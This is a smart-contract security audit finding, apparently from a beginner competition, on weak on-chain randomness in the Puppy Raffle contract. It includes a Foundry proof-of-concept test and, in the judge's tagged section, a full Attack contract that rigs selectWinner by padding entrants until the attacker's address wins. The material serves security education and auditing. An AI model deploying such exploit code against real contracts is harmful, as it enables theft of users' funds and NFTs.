Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

H-2: Weak on-chain randomness allows winner manipulation

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Description

Severity: High

The selectWinner() function at PuppyRaffle.sol:128-129 computes the winner index using predictable on-chain values:

uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

Similarly, rarity is determined at PuppyRaffle.sol:139 using the same pattern:

uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

All three inputs are known or controllable:

  • msg.sender: the attacker chooses which address calls selectWinner()

  • block.timestamp: validators can adjust within the acceptable range (~15s)

  • block.difficulty (now prevrandao post-merge): known to the block proposer before block production

A validator can select the block.timestamp and choose to include the transaction in a block where the hash produces a favorable winnerIndex. Even without validator collusion, any user can simulate the hash off-chain for multiple msg.sender addresses and only submit from the one that wins.

Proof of Concept

function testPredictWinner() public {
address[] memory entrants = new address[](4);
entrants[0] = address(1);
entrants[1] = address(2);
entrants[2] = address(3);
entrants[3] = address(4);
puppyRaffle.enterRaffle{value: entranceFee * 4}(entrants);
​
vm.warp(block.timestamp + duration + 1);
​
// Attacker precomputes the winner off-chain using known block values
uint256 predictedIndex = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % 4;
address predictedWinner = entrants[predictedIndex];
​
// Call selectWinner and verify prediction matches
puppyRaffle.selectWinner();
assertEq(puppyRaffle.previousWinner(), predictedWinner);
}

  1. Attacker enters raffle from 10 different addresses

  2. When raffleDuration expires, attacker computes the hash off-chain for each address

  3. Attacker finds the address that produces a winnerIndex pointing to one of their entries

  4. Attacker calls selectWinner() from that address and wins 80% of the prize pool

Risk

  • Impact: High — attacker steals 80% of the total prize pool and can guarantee a legendary NFT.

  • Likelihood: High — any validator can trivially exploit this. Non-validators can simulate outcomes off-chain and select the winning msg.sender.

Recommended Mitigation

Replace the on-chain randomness at PuppyRaffle.sol:128-129 and PuppyRaffle.sol:139 with Chainlink VRF:

import {VRFConsumerBaseV2} from "@chainlink/contracts/src/v0.7/VRFConsumerBaseV2.sol";
​
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 requestId = COORDINATOR.requestRandomWords(keyHash, subId, confirmations, callbackGasLimit, 2);
}
​
function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
uint256 winnerIndex = randomWords[0] % players.length;
uint256 rarity = randomWords[1] % 100;
// ... rest of winner selection logic
}

Chainlink VRF provides cryptographically verifiable randomness that cannot be predicted or manipulated by any party.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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